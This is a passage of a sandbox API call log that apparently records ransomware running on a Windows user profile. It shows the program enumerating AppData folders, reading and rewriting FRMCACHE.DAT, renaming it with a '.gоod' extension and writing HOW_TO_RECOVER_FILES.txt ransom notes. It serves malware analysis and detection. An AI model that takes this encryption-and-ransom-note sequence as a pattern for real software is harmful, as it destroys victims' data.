lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.173] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.173] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.173] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0216.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0216.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\feeds cache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0216.174] GetFileType (hFile=0x834) returned 0x1 [0216.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0216.174] GetFileType (hFile=0x834) returned 0x1 [0216.175] WriteFile (in: hFile=0x834, lpBuffer=0x354af98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x354af98*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.176] CloseHandle (hObject=0x834) returned 1 [0216.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.176] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2d [0216.176] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.177] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.177] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0216.177] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.177] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2d [0216.177] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.178] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.178] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0216.178] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0216.178] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", lpFilePart=0x0) returned 0x3a [0216.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed070) returned 1 [0216.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), fInfoLevelId=0x0, lpFileInformation=0x3559ec0 | out: lpFileInformation=0x3559ec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc)) returned 1 [0216.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed030) returned 1 [0216.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", lpFilePart=0x0) returned 0x3a [0216.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0216.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0216.207] GetFileType (hFile=0x834) returned 0x1 [0216.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0216.207] GetFileType (hFile=0x834) returned 0x1 [0216.207] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ed0c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ed0c8*=0) returned 0x1000 [0216.208] ReadFile (in: hFile=0x834, lpBuffer=0x355a2a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ed098, lpOverlapped=0x0 | out: lpBuffer=0x355a2a8*, lpNumberOfBytesRead=0x207ed098*=0x1000, lpOverlapped=0x0) returned 1 [0216.220] CloseHandle (hObject=0x834) returned 1 [0216.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", lpFilePart=0x0) returned 0x3a [0216.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0216.221] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0216.221] GetFileType (hFile=0x834) returned 0x1 [0216.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0216.221] GetFileType (hFile=0x834) returned 0x1 [0216.221] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ed0c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ed0c8*=0) returned 0x3c0dc [0216.221] WriteFile (in: hFile=0x834, lpBuffer=0x355b528*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ecfb8, lpOverlapped=0x0 | out: lpBuffer=0x355b528*, lpNumberOfBytesWritten=0x207ecfb8*=0x10, lpOverlapped=0x0) returned 1 [0216.222] CloseHandle (hObject=0x834) returned 1 [0216.222] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", lpFilePart=0x0) returned 0x3a [0216.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0216.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0216.222] GetFileType (hFile=0x834) returned 0x1 [0216.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0216.222] GetFileType (hFile=0x834) returned 0x1 [0216.222] ReadFile (in: hFile=0x834, lpBuffer=0x355dbf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ed048, lpOverlapped=0x0 | out: lpBuffer=0x355dbf8*, lpNumberOfBytesRead=0x207ed048*=0x1000, lpOverlapped=0x0) returned 1 [0216.930] CloseHandle (hObject=0x834) returned 1 [0216.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", lpFilePart=0x0) returned 0x3a [0216.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0216.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0216.931] GetFileType (hFile=0x834) returned 0x1 [0216.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0216.931] GetFileType (hFile=0x834) returned 0x1 [0216.931] WriteFile (in: hFile=0x834, lpBuffer=0x353f308*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ed0f8, lpOverlapped=0x0 | out: lpBuffer=0x353f308*, lpNumberOfBytesWritten=0x207ed0f8*=0x1010, lpOverlapped=0x0) returned 1 [0216.931] CloseHandle (hObject=0x834) returned 1 [0216.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT", lpFilePart=0x0) returned 0x3a [0216.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.gоod", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.gоod", lpFilePart=0x0) returned 0x3f [0216.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed030) returned 1 [0216.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ed110 | out: lpFileInformation=0x207ed110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7d845994, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c0ec)) returned 1 [0216.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecff0) returned 1 [0216.931] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\frmcache.dat.gоod")) returned 1 [0216.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0216.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0216.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\forms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0217.557] GetFileType (hFile=0x85c) returned 0x1 [0217.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0217.558] GetFileType (hFile=0x85c) returned 0x1 [0217.558] WriteFile (in: hFile=0x85c, lpBuffer=0x35bd4b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35bd4b0*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.559] CloseHandle (hObject=0x85c) returned 1 [0217.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0217.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x2f [0217.559] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.560] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.560] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0217.560] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.560] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0217.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0217.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0217.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x2f [0217.560] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.561] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.561] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0217.561] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 0 [0217.561] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0217.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0217.561] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin", lpFilePart=0x0) returned 0x41 [0217.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed070) returned 1 [0217.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\gamedvr\\knowngamelist.bin"), fInfoLevelId=0x0, lpFileInformation=0x35cc548 | out: lpFileInformation=0x35cc548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880)) returned 1 [0217.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed030) returned 1 [0217.561] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin", lpFilePart=0x0) returned 0x41 [0217.562] 